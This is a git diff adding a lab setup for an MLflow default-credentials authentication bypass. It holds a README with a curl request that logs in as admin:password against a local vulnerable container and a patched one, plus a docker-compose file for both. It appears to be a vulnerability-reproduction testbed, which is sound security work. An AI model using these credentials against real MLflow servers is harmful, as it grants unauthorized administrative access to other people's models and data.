diff --git a/mlflow/CVE-2026-2635/README.md b/mlflow/CVE-2026-2635/README.md new file mode 100644 index 00000000..a9e84fc7 --- /dev/null +++ b/mlflow/CVE-2026-2635/README.md @@ -0,0 +1,41 @@ +# MLflow Hard-coded Default Credentials Authentication Bypass (CVE-2026-2635) + +A critical authentication bypass vulnerability exists in MLflow (versions prior to 3.8.0) due to hard-coded default credentials in the basic-auth configuration. Unauthenticated remote attackers can leverage these default credentials (admin:password) to gain administrative access to MLflow instances, access sensitive models and datasets, and potentially execute arbitrary code. + + +## Vulnerable Version +### Setup +Start MLflow version 2.10.0: + +```sh +docker compose up -d mlflow-vulnerable +``` + +### Testing the vulnerability + +```sh +curl -i -u admin:password "http://localhost:5000/api/2.0/mlflow/users/get?username=admin" +``` +Response: +```sh +{"user":{"experiment_permissions":[],"id":1,"is_admin":true,"registered_model_permissions":[],"username":"admin"}} +``` + + +## Safe Version +### Setup +Start MLflow version 3.8.0 (which removes silent default credentials out-of-the-box): + +```sh +docker compose up -d mlflow-patched +``` + +### Testing the vulnerability + +```sh +curl -i -u admin:password "http://localhost:5001/api/2.0/mlflow/users/get?username=admin" +``` +Response: +```sh +You are not authenticated. Please see https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow on how to authenticate. +``` \ No newline at end of file diff --git a/mlflow/CVE-2026-2635/docker-compose.yml b/mlflow/CVE-2026-2635/docker-compose.yml new file mode 100644 index 00000000..e6cdecc1 --- /dev/null +++ b/mlflow/CVE-2026-2635/docker-compose.yml @@ -0,0 +1,25 @@ +version: '3.8' + +services: + # Vulnerable Target (v2.10.0 - Ships with default admin:password) + mlflow-vulnerable: + image: ghcr.io/mlflow/mlflow:v2.10.0 + container_name: mlflow_vulnerable + ports: + - "5000:5000" + command: mlflow server --host 0.0.0.0 --port 5000 --app-name basic-auth + restart: unless-stopped + + # Patched Target (v3.8.0 - Default credentials removed) + mlflow-patched: + image: ghcr.io/mlflow/mlflow:v3.8.0 + container_name: mlflow_patched + ports: + - "5001:5000" + environment: + # Required by MLflow 3.x authentication CSRF middleware + - MLFLOW_FLASK_SERVER_SECRET_KEY=supersecretcsrfkeyforlab2026! + command: > + sh -c "pip install --no-cache-dir flask-wtf && + exec mlflow server --host 0.0.0.0 --port 5000 --app-name basic-auth --backend-store-uri sqlite:///mlflow.db" + restart: unless-stopped